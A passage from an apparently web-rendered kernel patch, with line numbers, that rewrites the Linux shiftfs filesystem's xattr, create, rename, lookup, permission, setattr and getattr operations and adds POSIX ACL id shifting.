1459 |
-- const struct cred *oldcred, *newcred; |
1460 |
-+ const struct cred *oldcred; |
1461 |
- |
1462 |
-- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
1463 |
-- err = vfs_listxattr(real, list, size); |
1464 |
-- shiftfs_old_creds(oldcred, &newcred); |
1465 |
-+ oldcred = shiftfs_override_creds(dentry->d_sb); |
1466 |
-+ err = vfs_listxattr(lowerd, list, size); |
1467 |
-+ revert_creds(oldcred); |
1468 |
- |
1469 |
- return err; |
1470 |
- } |
1471 |
- |
1472 |
- static int shiftfs_removexattr(struct dentry *dentry, const char *name) |
1473 |
- { |
1474 |
-- struct dentry *real = dentry->d_fsdata; |
1475 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1476 |
- int err; |
1477 |
-- const struct cred *oldcred, *newcred; |
1478 |
-+ const struct cred *oldcred; |
1479 |
-+ |
1480 |
-+ oldcred = shiftfs_override_creds(dentry->d_sb); |
1481 |
-+ err = vfs_removexattr(lowerd, name); |
1482 |
-+ revert_creds(oldcred); |
1483 |
- |
1484 |
-- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
1485 |
-- err = vfs_removexattr(real, name); |
1486 |
-- shiftfs_old_creds(oldcred, &newcred); |
1487 |
-+ /* update c/mtime */ |
1488 |
-+ shiftfs_copyattr(lowerd->d_inode, d_inode(dentry)); |
1489 |
- |
1490 |
- return err; |
1491 |
- } |
1492 |
-@@ -262,93 +381,157 @@ static int shiftfs_xattr_set(const struct xattr_handler *handler, |
1493 |
- return shiftfs_setxattr(dentry, inode, name, value, size, flags); |
1494 |
- } |
1495 |
- |
1496 |
--static void shiftfs_fill_inode(struct inode *inode, struct dentry *dentry) |
1497 |
-+static int shiftfs_inode_test(struct inode *inode, void *data) |
1498 |
- { |
1499 |
-- struct inode *reali; |
1500 |
-- |
1501 |
-- if (!dentry) |
1502 |
-- return; |
1503 |
-- |
1504 |
-- reali = dentry->d_inode; |
1505 |
-- |
1506 |
-- if (!reali->i_op->get_link) |
1507 |
-- inode->i_opflags |= IOP_NOFOLLOW; |
1508 |
-+ return inode->i_private == data; |
1509 |
-+} |
1510 |
- |
1511 |
-- inode->i_mapping = reali->i_mapping; |
1512 |
-- inode->i_private = dentry; |
1513 |
-+static int shiftfs_inode_set(struct inode *inode, void *data) |
1514 |
-+{ |
1515 |
-+ inode->i_private = data; |
1516 |
-+ return 0; |
1517 |
- } |
1518 |
- |
1519 |
--static int shiftfs_make_object(struct inode *dir, struct dentry *dentry, |
1520 |
-- umode_t mode, const char *symlink, |
1521 |
-- struct dentry *hardlink, bool excl) |
1522 |
-+static int shiftfs_create_object(struct inode *diri, struct dentry *dentry, |
1523 |
-+ umode_t mode, const char *symlink, |
1524 |
-+ struct dentry *hardlink, bool excl) |
1525 |
- { |
1526 |
-- struct dentry *real = dir->i_private, *new = dentry->d_fsdata; |
1527 |
-- struct inode *reali = real->d_inode, *newi; |
1528 |
-- const struct inode_operations *iop = reali->i_op; |
1529 |
- int err; |
1530 |
-- const struct cred *oldcred, *newcred; |
1531 |
-- bool op_ok = false; |
1532 |
-+ const struct cred *oldcred; |
1533 |
-+ struct cred *newcred; |
1534 |
-+ void *loweri_iop_ptr = NULL; |
1535 |
-+ umode_t modei = mode; |
1536 |
-+ struct super_block *dir_sb = diri->i_sb; |
1537 |
-+ struct dentry *lowerd_new = dentry->d_fsdata; |
1538 |
-+ struct inode *inode = NULL, *loweri_dir = diri->i_private; |
1539 |
-+ const struct inode_operations *loweri_dir_iop = loweri_dir->i_op; |
1540 |
-+ struct dentry *lowerd_link = NULL; |
1541 |
- |
1542 |
- if (hardlink) { |
1543 |
-- op_ok = iop->link; |
1544 |
-+ loweri_iop_ptr = loweri_dir_iop->link; |
1545 |
- } else { |
1546 |
- switch (mode & S_IFMT) { |
1547 |
- case S_IFDIR: |
1548 |
-- op_ok = iop->mkdir; |
1549 |
-+ loweri_iop_ptr = loweri_dir_iop->mkdir; |
1550 |
- break; |
1551 |
- case S_IFREG: |
1552 |
-- op_ok = iop->create; |
1553 |
-+ loweri_iop_ptr = loweri_dir_iop->create; |
1554 |
- break; |
1555 |
- case S_IFLNK: |
1556 |
-- op_ok = iop->symlink; |
1557 |
-+ loweri_iop_ptr = loweri_dir_iop->symlink; |
1558 |
-+ break; |
1559 |
-+ case S_IFSOCK: |
1560 |
-+ /* fall through */ |
1561 |
-+ case S_IFIFO: |
1562 |
-+ loweri_iop_ptr = loweri_dir_iop->mknod; |
1563 |
-+ break; |
1564 |
- } |
1565 |
- } |
1566 |
-- if (!op_ok) |
1567 |
-- return -EINVAL; |
1568 |
-+ if (!loweri_iop_ptr) { |
1569 |
-+ err = -EINVAL; |
1570 |
-+ goto out_iput; |
1571 |
-+ } |
1572 |
- |
1573 |
-+ inode_lock_nested(loweri_dir, I_MUTEX_PARENT); |
1574 |
- |
1575 |
-- newi = shiftfs_new_inode(dentry->d_sb, mode, NULL); |
1576 |
-- if (!newi) |
1577 |
-- return -ENOMEM; |
1578 |
-+ if (!hardlink) { |
1579 |
-+ inode = new_inode(dir_sb); |
1580 |
-+ if (!inode) { |
1581 |
-+ err = -ENOMEM; |
1582 |
-+ goto out_iput; |
1583 |
-+ } |
1584 |
-+ |
1585 |
-+ /* |
1586 |
-+ * new_inode() will have added the new inode to the super |
1587 |
-+ * block's list of inodes. Further below we will call |
1588 |
-+ * inode_insert5() Which would perform the same operation again |
1589 |
-+ * thereby corrupting the list. To avoid this raise I_CREATING |
1590 |
-+ * in i_state which will cause inode_insert5() to skip this |
1591 |
-+ * step. I_CREATING will be cleared by d_instantiate_new() |
1592 |
-+ * below. |
1593 |
-+ */ |
1594 |
-+ spin_lock(&inode->i_lock); |
1595 |
-+ inode->i_state |= I_CREATING; |
1596 |
-+ spin_unlock(&inode->i_lock); |
1597 |
- |
1598 |
-- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
1599 |
-+ inode_init_owner(inode, diri, mode); |
1600 |
-+ modei = inode->i_mode; |
1601 |
-+ } |
1602 |
- |
1603 |
-- inode_lock_nested(reali, I_MUTEX_PARENT); |
1604 |
-+ err = shiftfs_override_object_creds(dentry->d_sb, &oldcred, &newcred, |
1605 |
-+ dentry, modei, hardlink != NULL); |
1606 |
-+ if (err) |
1607 |
-+ goto out_iput; |
1608 |
- |
1609 |
-- err = -EINVAL; /* shut gcc up about uninit var */ |
1610 |
- if (hardlink) { |
1611 |
-- struct dentry *realhardlink = hardlink->d_fsdata; |
1612 |
-- |
1613 |
-- err = vfs_link(realhardlink, reali, new, NULL); |
1614 |
-+ lowerd_link = hardlink->d_fsdata; |
1615 |
-+ err = vfs_link(lowerd_link, loweri_dir, lowerd_new, NULL); |
1616 |
- } else { |
1617 |
-- switch (mode & S_IFMT) { |
1618 |
-+ switch (modei & S_IFMT) { |
1619 |
- case S_IFDIR: |
1620 |
-- err = vfs_mkdir(reali, new, mode); |
1621 |
-+ err = vfs_mkdir(loweri_dir, lowerd_new, modei); |
1622 |
- break; |
1623 |
- case S_IFREG: |
1624 |
-- err = vfs_create(reali, new, mode, excl); |
1625 |
-+ err = vfs_create(loweri_dir, lowerd_new, modei, excl); |
1626 |
- break; |
1627 |
- case S_IFLNK: |
1628 |
-- err = vfs_symlink(reali, new, symlink); |
1629 |
-+ err = vfs_symlink(loweri_dir, lowerd_new, symlink); |
1630 |
-+ break; |
1631 |
-+ case S_IFSOCK: |
1632 |
-+ /* fall through */ |
1633 |
-+ case S_IFIFO: |
1634 |
-+ err = vfs_mknod(loweri_dir, lowerd_new, modei, 0); |
1635 |
-+ break; |
1636 |
-+ default: |
1637 |
-+ err = -EINVAL; |
1638 |
-+ break; |
1639 |
- } |
1640 |
- } |
1641 |
- |
1642 |
-- shiftfs_old_creds(oldcred, &newcred); |
1643 |
-+ shiftfs_revert_object_creds(oldcred, newcred); |
1644 |
- |
1645 |
-+ if (!err && WARN_ON(!lowerd_new->d_inode)) |
1646 |
-+ err = -EIO; |
1647 |
- if (err) |
1648 |
-- goto out_dput; |
1649 |
-+ goto out_iput; |
1650 |
-+ |
1651 |
-+ if (hardlink) { |
1652 |
-+ inode = d_inode(hardlink); |
1653 |
-+ ihold(inode); |
1654 |
-+ |
1655 |
-+ /* copy up times from lower inode */ |
1656 |
-+ shiftfs_copyattr(d_inode(lowerd_link), inode); |
1657 |
-+ set_nlink(d_inode(hardlink), d_inode(lowerd_link)->i_nlink); |
1658 |
-+ d_instantiate(dentry, inode); |
1659 |
-+ } else { |
1660 |
-+ struct inode *inode_tmp; |
1661 |
-+ struct inode *loweri_new = d_inode(lowerd_new); |
1662 |
-+ |
1663 |
-+ inode_tmp = inode_insert5(inode, (unsigned long)loweri_new, |
1664 |
-+ shiftfs_inode_test, shiftfs_inode_set, |
1665 |
-+ loweri_new); |
1666 |
-+ if (unlikely(inode_tmp != inode)) { |
1667 |
-+ pr_err_ratelimited("shiftfs: newly created inode found in cache\n"); |
1668 |
-+ iput(inode_tmp); |
1669 |
-+ err = -EINVAL; |
1670 |
-+ goto out_iput; |
1671 |
-+ } |
1672 |
- |
1673 |
-- shiftfs_fill_inode(newi, new); |
1674 |
-+ ihold(loweri_new); |
1675 |
-+ shiftfs_fill_inode(inode, loweri_new->i_ino, loweri_new->i_mode, |
1676 |
-+ 0, lowerd_new); |
1677 |
-+ d_instantiate_new(dentry, inode); |
1678 |
-+ } |
1679 |
- |
1680 |
-- d_instantiate(dentry, newi); |
1681 |
-+ shiftfs_copyattr(loweri_dir, diri); |
1682 |
-+ if (loweri_iop_ptr == loweri_dir_iop->mkdir) |
1683 |
-+ set_nlink(diri, loweri_dir->i_nlink); |
1684 |
- |
1685 |
-- new = NULL; |
1686 |
-- newi = NULL; |
1687 |
-+ inode = NULL; |
1688 |
- |
1689 |
-- out_dput: |
1690 |
-- dput(new); |
1691 |
-- iput(newi); |
1692 |
-- inode_unlock(reali); |
1693 |
-+out_iput: |
1694 |
-+ iput(inode); |
1695 |
-+ inode_unlock(loweri_dir); |
1696 |
- |
1697 |
- return err; |
1698 |
- } |
1699 |
-@@ -358,7 +541,7 @@ static int shiftfs_create(struct inode *dir, struct dentry *dentry, |
1700 |
- { |
1701 |
- mode |= S_IFREG; |
1702 |
- |
1703 |
-- return shiftfs_make_object(dir, dentry, mode, NULL, NULL, excl); |
1704 |
-+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, excl); |
1705 |
- } |
1706 |
- |
1707 |
- static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry, |
1708 |
-@@ -366,39 +549,52 @@ static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry, |
1709 |
- { |
1710 |
- mode |= S_IFDIR; |
1711 |
- |
1712 |
-- return shiftfs_make_object(dir, dentry, mode, NULL, NULL, false); |
1713 |
-+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false); |
1714 |
- } |
1715 |
- |
1716 |
- static int shiftfs_link(struct dentry *hardlink, struct inode *dir, |
1717 |
- struct dentry *dentry) |
1718 |
- { |
1719 |
-- return shiftfs_make_object(dir, dentry, 0, NULL, hardlink, false); |
1720 |
-+ return shiftfs_create_object(dir, dentry, 0, NULL, hardlink, false); |
1721 |
-+} |
1722 |
-+ |
1723 |
-+static int shiftfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, |
1724 |
-+ dev_t rdev) |
1725 |
-+{ |
1726 |
-+ if (!S_ISFIFO(mode) && !S_ISSOCK(mode)) |
1727 |
-+ return -EPERM; |
1728 |
-+ |
1729 |
-+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false); |
1730 |
- } |
1731 |
- |
1732 |
- static int shiftfs_symlink(struct inode *dir, struct dentry *dentry, |
1733 |
- const char *symlink) |
1734 |
- { |
1735 |
-- return shiftfs_make_object(dir, dentry, S_IFLNK, symlink, NULL, false); |
1736 |
-+ return shiftfs_create_object(dir, dentry, S_IFLNK, symlink, NULL, false); |
1737 |
- } |
1738 |
- |
1739 |
- static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir) |
1740 |
- { |
1741 |
-- struct dentry *real = dir->i_private, *new = dentry->d_fsdata; |
1742 |
-- struct inode *reali = real->d_inode; |
1743 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1744 |
-+ struct inode *loweri = dir->i_private; |
1745 |
- int err; |
1746 |
-- const struct cred *oldcred, *newcred; |
1747 |
-- |
1748 |
-- inode_lock_nested(reali, I_MUTEX_PARENT); |
1749 |
-- |
1750 |
-- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
1751 |
-+ const struct cred *oldcred; |
1752 |
- |
1753 |
-+ oldcred = shiftfs_override_creds(dentry->d_sb); |
1754 |
-+ inode_lock_nested(loweri, I_MUTEX_PARENT); |
1755 |
- if (rmdir) |
1756 |
-- err = vfs_rmdir(reali, new); |
1757 |
-+ err = vfs_rmdir(loweri, lowerd); |
1758 |
- else |
1759 |
-- err = vfs_unlink(reali, new, NULL); |
1760 |
-+ err = vfs_unlink(loweri, lowerd, NULL); |
1761 |
-+ inode_unlock(loweri); |
1762 |
-+ revert_creds(oldcred); |
1763 |
- |
1764 |
-- shiftfs_old_creds(oldcred, &newcred); |
1765 |
-- inode_unlock(reali); |
1766 |
-+ shiftfs_copyattr(loweri, dir); |
1767 |
-+ set_nlink(d_inode(dentry), loweri->i_nlink); |
1768 |
-+ if (!err) |
1769 |
-+ d_drop(dentry); |
1770 |
-+ |
1771 |
-+ set_nlink(dir, loweri->i_nlink); |
1772 |
- |
1773 |
- return err; |
1774 |
- } |
1775 |
-@@ -417,27 +613,30 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old, |
1776 |
- struct inode *newdir, struct dentry *new, |
1777 |
- unsigned int flags) |
1778 |
- { |
1779 |
-- struct dentry *rodd = olddir->i_private, *rndd = newdir->i_private, |
1780 |
-- *realold = old->d_fsdata, |
1781 |
-- *realnew = new->d_fsdata, *trap; |
1782 |
-- struct inode *realolddir = rodd->d_inode, *realnewdir = rndd->d_inode; |
1783 |
-+ struct dentry *lowerd_dir_old = old->d_parent->d_fsdata, |
1784 |
-+ *lowerd_dir_new = new->d_parent->d_fsdata, |
1785 |
-+ *lowerd_old = old->d_fsdata, *lowerd_new = new->d_fsdata, |
1786 |
-+ *trapd; |
1787 |
-+ struct inode *loweri_dir_old = lowerd_dir_old->d_inode, |
1788 |
-+ *loweri_dir_new = lowerd_dir_new->d_inode; |
1789 |
- int err = -EINVAL; |
1790 |
-- const struct cred *oldcred, *newcred; |
1791 |
-+ const struct cred *oldcred; |
1792 |
- |
1793 |
-- trap = lock_rename(rndd, rodd); |
1794 |
-+ trapd = lock_rename(lowerd_dir_new, lowerd_dir_old); |
1795 |
- |
1796 |
-- if (trap == realold || trap == realnew) |
1797 |
-+ if (trapd == lowerd_old || trapd == lowerd_new) |
1798 |
- goto out_unlock; |
1799 |
- |
1800 |
-- oldcred = shiftfs_new_creds(&newcred, old->d_sb); |
1801 |
-- |
1802 |
-- err = vfs_rename(realolddir, realold, realnewdir, |
1803 |
-- realnew, NULL, flags); |
1804 |
-+ oldcred = shiftfs_override_creds(old->d_sb); |
1805 |
-+ err = vfs_rename(loweri_dir_old, lowerd_old, loweri_dir_new, lowerd_new, |
1806 |
-+ NULL, flags); |
1807 |
-+ revert_creds(oldcred); |
1808 |
- |
1809 |
-- shiftfs_old_creds(oldcred, &newcred); |
1810 |
-+ shiftfs_copyattr(loweri_dir_old, olddir); |
1811 |
-+ shiftfs_copyattr(loweri_dir_new, newdir); |
1812 |
- |
1813 |
-- out_unlock: |
1814 |
-- unlock_rename(rndd, rodd); |
1815 |
-+out_unlock: |
1816 |
-+ unlock_rename(lowerd_dir_new, lowerd_dir_old); |
1817 |
- |
1818 |
- return err; |
1819 |
- } |
1820 |
-@@ -445,304 +644,1210 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old, |
1821 |
- static struct dentry *shiftfs_lookup(struct inode *dir, struct dentry *dentry, |
1822 |
- unsigned int flags) |
1823 |
- { |
1824 |
-- struct dentry *real = dir->i_private, *new; |
1825 |
-- struct inode *reali = real->d_inode, *newi; |
1826 |
-- const struct cred *oldcred, *newcred; |
1827 |
-- |
1828 |
-- inode_lock(reali); |
1829 |
-- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
1830 |
-- new = lookup_one_len(dentry->d_name.name, real, dentry->d_name.len); |
1831 |
-- shiftfs_old_creds(oldcred, &newcred); |
1832 |
-- inode_unlock(reali); |
1833 |
-+ struct dentry *new; |
1834 |
-+ struct inode *newi; |
1835 |
-+ const struct cred *oldcred; |
1836 |
-+ struct dentry *lowerd = dentry->d_parent->d_fsdata; |
1837 |
-+ struct inode *inode = NULL, *loweri = lowerd->d_inode; |
1838 |
-+ |
1839 |
-+ inode_lock(loweri); |
1840 |
-+ oldcred = shiftfs_override_creds(dentry->d_sb); |
1841 |
-+ new = lookup_one_len(dentry->d_name.name, lowerd, dentry->d_name.len); |
1842 |
-+ revert_creds(oldcred); |
1843 |
-+ inode_unlock(loweri); |
1844 |
- |
1845 |
- if (IS_ERR(new)) |
1846 |
- return new; |
1847 |
- |
1848 |
- dentry->d_fsdata = new; |
1849 |
- |
1850 |
-- newi = NULL; |
1851 |
-- if (!new->d_inode) |
1852 |
-+ newi = new->d_inode; |
1853 |
-+ if (!newi) |
1854 |
- goto out; |
1855 |
- |
1856 |
-- newi = shiftfs_new_inode(dentry->d_sb, new->d_inode->i_mode, new); |
1857 |
-- if (!newi) { |
1858 |
-+ inode = iget5_locked(dentry->d_sb, (unsigned long)newi, |
1859 |
-+ shiftfs_inode_test, shiftfs_inode_set, newi); |
1860 |
-+ if (!inode) { |
1861 |
- dput(new); |
1862 |
- return ERR_PTR(-ENOMEM); |
1863 |
- } |
1864 |
-+ if (inode->i_state & I_NEW) { |
1865 |
-+ /* |
1866 |
-+ * inode->i_private set by shiftfs_inode_set(), but we still |
1867 |
-+ * need to take a reference |
1868 |
-+ */ |
1869 |
-+ ihold(newi); |
1870 |
-+ shiftfs_fill_inode(inode, newi->i_ino, newi->i_mode, 0, new); |
1871 |
-+ unlock_new_inode(inode); |
1872 |
-+ } |
1873 |
- |
1874 |
-- out: |
1875 |
-- return d_splice_alias(newi, dentry); |
1876 |
-+out: |
1877 |
-+ return d_splice_alias(inode, dentry); |
1878 |
- } |
1879 |
- |
1880 |
- static int shiftfs_permission(struct inode *inode, int mask) |
1881 |
- { |
1882 |
-- struct dentry *real = inode->i_private; |
1883 |
-- struct inode *reali = real->d_inode; |
1884 |
-- const struct inode_operations *iop = reali->i_op; |
1885 |
- int err; |
1886 |
-- const struct cred *oldcred, *newcred; |
1887 |
-+ const struct cred *oldcred; |
1888 |
-+ struct inode *loweri = inode->i_private; |
1889 |
- |
1890 |
-- if (mask & MAY_NOT_BLOCK) |
1891 |
-+ if (!loweri) { |
1892 |
-+ WARN_ON(!(mask & MAY_NOT_BLOCK)); |
1893 |
- return -ECHILD; |
1894 |
-+ } |
1895 |
- |
1896 |
-- oldcred = shiftfs_new_creds(&newcred, inode->i_sb); |
1897 |
-- if (iop->permission) |
1898 |
-- err = iop->permission(reali, mask); |
1899 |
-- else |
1900 |
-- err = generic_permission(reali, mask); |
1901 |
-- shiftfs_old_creds(oldcred, &newcred); |
1902 |
-+ err = generic_permission(inode, mask); |
1903 |
-+ if (err) |
1904 |
-+ return err; |
1905 |
-+ |
1906 |
-+ oldcred = shiftfs_override_creds(inode->i_sb); |
1907 |
-+ err = inode_permission(loweri, mask); |
1908 |
-+ revert_creds(oldcred); |
1909 |
-+ |
1910 |
-+ return err; |
1911 |
-+} |
1912 |
-+ |
1913 |
-+static int shiftfs_fiemap(struct inode *inode, |
1914 |
-+ struct fiemap_extent_info *fieinfo, u64 start, |
1915 |
-+ u64 len) |
1916 |
-+{ |
1917 |
-+ int err; |
1918 |
-+ const struct cred *oldcred; |
1919 |
-+ struct inode *loweri = inode->i_private; |
1920 |
-+ |
1921 |
-+ if (!loweri->i_op->fiemap) |
1922 |
-+ return -EOPNOTSUPP; |
1923 |
-+ |
1924 |
-+ oldcred = shiftfs_override_creds(inode->i_sb); |
1925 |
-+ if (fieinfo->fi_flags & FIEMAP_FLAG_SYNC) |
1926 |
-+ filemap_write_and_wait(loweri->i_mapping); |
1927 |
-+ err = loweri->i_op->fiemap(loweri, fieinfo, start, len); |
1928 |
-+ revert_creds(oldcred); |
1929 |
-+ |
1930 |
-+ return err; |
1931 |
-+} |
1932 |
-+ |
1933 |
-+static int shiftfs_tmpfile(struct inode *dir, struct dentry *dentry, |
1934 |
-+ umode_t mode) |
1935 |
-+{ |
1936 |
-+ int err; |
1937 |
-+ const struct cred *oldcred; |
1938 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1939 |
-+ struct inode *loweri = dir->i_private; |
1940 |
-+ |
1941 |
-+ if (!loweri->i_op->tmpfile) |
1942 |
-+ return -EOPNOTSUPP; |
1943 |
-+ |
1944 |
-+ oldcred = shiftfs_override_creds(dir->i_sb); |
1945 |
-+ err = loweri->i_op->tmpfile(loweri, lowerd, mode); |
1946 |
-+ revert_creds(oldcred); |
1947 |
- |
1948 |
- return err; |
1949 |
- } |
1950 |
- |
1951 |
- static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
1952 |
- { |
1953 |
-- struct dentry *real = dentry->d_fsdata; |
1954 |
-- struct inode *reali = real->d_inode; |
1955 |
-- const struct inode_operations *iop = reali->i_op; |
1956 |
-+ struct dentry *lowerd = dentry->d_fsdata; |
1957 |
-+ struct inode *loweri = lowerd->d_inode; |
1958 |
- struct iattr newattr = *attr; |
1959 |
-- const struct cred *oldcred, *newcred; |
1960 |
-+ const struct cred *oldcred; |
1961 |
- struct super_block *sb = dentry->d_sb; |
1962 |
- int err; |
1963 |
- |
1964 |
-+ err = setattr_prepare(dentry, attr); |
1965 |
-+ if (err) |
1966 |
-+ return err; |
1967 |
-+ |
1968 |
- newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid)); |
1969 |
- newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid)); |
1970 |
- |
1971 |
-- oldcred = shiftfs_new_creds(&newcred, dentry->d_sb); |
1972 |
-- inode_lock(reali); |
1973 |
-- if (iop->setattr) |
1974 |
-- err = iop->setattr(real, &newattr); |
1975 |
-- else |
1976 |
-- err = simple_setattr(real, &newattr); |
1977 |
-- inode_unlock(reali); |
1978 |
-- shiftfs_old_creds(oldcred, &newcred); |
1979 |
-+ inode_lock(loweri); |
1980 |
-+ oldcred = shiftfs_override_creds(dentry->d_sb); |
1981 |
-+ err = notify_change(lowerd, attr, NULL); |
1982 |
-+ revert_creds(oldcred); |
1983 |
-+ inode_unlock(loweri); |
1984 |
- |
1985 |
-- if (err) |
1986 |
-- return err; |
1987 |
-+ shiftfs_copyattr(loweri, d_inode(dentry)); |
1988 |
- |
1989 |
-- /* all OK, reflect the change on our inode */ |
1990 |
-- setattr_copy(d_inode(dentry), attr); |
1991 |
-- return 0; |
1992 |
-+ return err; |
1993 |
- } |
1994 |
- |
1995 |
- static int shiftfs_getattr(const struct path *path, struct kstat *stat, |
1996 |
- u32 request_mask, unsigned int query_flags) |
1997 |
- { |
1998 |
- struct inode *inode = path->dentry->d_inode; |
1999 |
-- struct dentry *real = path->dentry->d_fsdata; |
2000 |
-- struct inode *reali = real->d_inode; |
2001 |
-- const struct inode_operations *iop = reali->i_op; |
2002 |
-- struct path newpath = { .mnt = path->dentry->d_sb->s_fs_info, .dentry = real }; |
2003 |
-- int err = 0; |
2004 |
-- |
2005 |
-- if (iop->getattr) |
2006 |
-- err = iop->getattr(&newpath, stat, request_mask, query_flags); |
2007 |
-- else |
2008 |
-- generic_fillattr(reali, stat); |
2009 |
-+ struct dentry *lowerd = path->dentry->d_fsdata; |
2010 |
-+ struct inode *loweri = lowerd->d_inode; |
2011 |
-+ struct shiftfs_super_info *info = path->dentry->d_sb->s_fs_info; |
2012 |
-+ struct path newpath = { .mnt = info->mnt, .dentry = lowerd }; |
2013 |
-+ struct user_namespace *from_ns = loweri->i_sb->s_user_ns; |
2014 |
-+ struct user_namespace *to_ns = inode->i_sb->s_user_ns; |
2015 |
-+ const struct cred *oldcred; |
2016 |
-+ int err; |
2017 |
-+ |
2018 |
-+ oldcred = shiftfs_override_creds(inode->i_sb); |
2019 |
-+ err = vfs_getattr(&newpath, stat, request_mask, query_flags); |
2020 |
-+ revert_creds(oldcred); |
2021 |
- |
2022 |
- if (err) |
2023 |
- return err; |
2024 |
- |
2025 |
- /* transform the underlying id */ |
2026 |
-- stat->uid = make_kuid(inode->i_sb->s_user_ns, __kuid_val(stat->uid)); |
2027 |
-- stat->gid = make_kgid(inode->i_sb->s_user_ns, __kgid_val(stat->gid)); |
2028 |
-+ stat->uid = shift_kuid(from_ns, to_ns, stat->uid); |
2029 |
-+ stat->gid = shift_kgid(from_ns, to_ns, stat->gid); |
2030 |
- return 0; |
2031 |
- } |
2032 |
- |
2033 |
--static const struct inode_operations shiftfs_inode_ops = { |
2034 |
-- .lookup = shiftfs_lookup, |
2035 |
-- .getattr = shiftfs_getattr, |
2036 |
-- .setattr = shiftfs_setattr, |
2037 |
-- .permission = shiftfs_permission, |
2038 |
-- .mkdir = shiftfs_mkdir, |
2039 |
-- .symlink = shiftfs_symlink, |
2040 |
-- .get_link = shiftfs_get_link, |
2041 |
-- .readlink = shiftfs_readlink, |
2042 |
-- .unlink = shiftfs_unlink, |
2043 |
-- .rmdir = shiftfs_rmdir, |
2044 |
-- .rename = shiftfs_rename, |
2045 |
-- .link = shiftfs_link, |
2046 |
-- .create = shiftfs_create, |
2047 |
-- .mknod = NULL, /* no special files currently */ |
2048 |
-- .listxattr = shiftfs_listxattr, |
2049 |
--}; |
2050 |
-+#ifdef CONFIG_SHIFT_FS_POSIX_ACL |
2051 |
- |
2052 |
--static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode, |
2053 |
-- struct dentry *dentry) |
2054 |
-+static int |
2055 |
-+shift_acl_ids(struct user_namespace *from, struct user_namespace *to, |
2056 |
-+ struct posix_acl *acl) |
2057 |
- { |
2058 |
-- struct inode *inode; |
2059 |
-- |
2060 |
-- inode = new_inode(sb); |
2061 |
-- if (!inode) |
2062 |
-- return NULL; |
2063 |
-- |
2064 |
-- /* |
2065 |
-- * our inode is completely vestigial. All lookups, getattr |
2066 |
-- * and permission checks are done on the underlying inode, so |
2067 |
-- * what the user sees is entirely from the underlying inode. |
2068 |
-- */ |
2069 |
-- mode &= S_IFMT; |
2070 |
-+ int i; |
2071 |
-+ |
2072 |
-+ for (i = 0; i < acl->a_count; i++) { |
2073 |
-+ struct posix_acl_entry *e = &acl->a_entries[i]; |
2074 |
-+ switch(e->e_tag) { |
2075 |
-+ case ACL_USER: |
2076 |
-+ e->e_uid = shift_kuid(from, to, e->e_uid); |
2077 |
-+ if (!uid_valid(e->e_uid)) |
2078 |
-+ return -EOVERFLOW; |
2079 |
-+ break; |
2080 |
-+ case ACL_GROUP: |
2081 |
-+ e->e_gid = shift_kgid(from, to, e->e_gid); |
2082 |
-+ if (!gid_valid(e->e_gid)) |
2083 |
-+ return -EOVERFLOW; |
2084 |
-+ break; |
2085 |
-+ } |
2086 |
-+ } |
2087 |
-+ return 0; |
2088 |
-+} |
2089 |
- |
2090 |
-- inode->i_ino = get_next_ino(); |
2091 |
-- inode->i_mode = mode; |
2092 |
-- inode->i_flags |= S_NOATIME | S_NOCMTIME; |
2093 |
-+static void |
2094 |
-+shift_acl_xattr_ids(struct user_namespace *from, struct user_namespace *to, |
2095 |
-+ void *value, size_t size) |
2096 |
-+{ |
2097 |
-+ struct posix_acl_xattr_header *header = value; |
2098 |
-+ struct posix_acl_xattr_entry *entry = (void *)(header + 1), *end; |
2099 |
-+ int count; |
2100 |
-+ kuid_t kuid; |
2101 |
-+ kgid_t kgid; |
2102 |
- |
2103 |
-- inode->i_op = &shiftfs_inode_ops; |
2104 |
-+ if (!value) |
2105 |
-+ return; |
2106 |
-+ if (size < sizeof(struct posix_acl_xattr_header)) |
2107 |
-+ return; |
2108 |
-+ if (header->a_version != cpu_to_le32(POSIX_ACL_XATTR_VERSION)) |
2109 |
-+ return; |
2110 |
- |
2111 |
-- shiftfs_fill_inode(inode, dentry); |
2112 |
-+ count = posix_acl_xattr_count(size); |
2113 |
-+ if (count < 0) |
2114 |
-+ return; |
2115 |
-+ if (count == 0) |
2116 |
-+ return; |
2117 |
- |
2118 |
-- return inode; |
2119 |
-+ for (end = entry + count; entry != end; entry++) { |
2120 |
-+ switch(le16_to_cpu(entry->e_tag)) { |
2121 |
-+ case ACL_USER: |
2122 |
-+ kuid = make_kuid(&init_user_ns, le32_to_cpu(entry->e_id)); |
2123 |
-+ kuid = shift_kuid(from, to, kuid); |
2124 |
-+ entry->e_id = cpu_to_le32(from_kuid(&init_user_ns, kuid)); |
2125 |
-+ break; |
2126 |
-+ case ACL_GROUP: |
2127 |
-+ kgid = make_kgid(&init_user_ns, le32_to_cpu(entry->e_id)); |
2128 |
-+ kgid = shift_kgid(from, to, kgid); |
2129 |
-+ entry->e_id = cpu_to_le32(from_kgid(&init_user_ns, kgid)); |
2130 |
-+ break; |
2131 |
-+ default: |
2132 |
-+ break; |
2133 |
-+ } |
2134 |
-+ } |
2135 |
- } |
2136 |
- |
2137 |
--static int shiftfs_show_options(struct seq_file *m, struct dentry *dentry) |
2138 |
-+static struct posix_acl *shiftfs_get_acl(struct inode *inode, int type) |
2139 |
- { |
2140 |
-- struct super_block *sb = dentry->d_sb; |
2141 |
-- struct shiftfs_super_info *ssi = sb->s_fs_info; |
2142 |
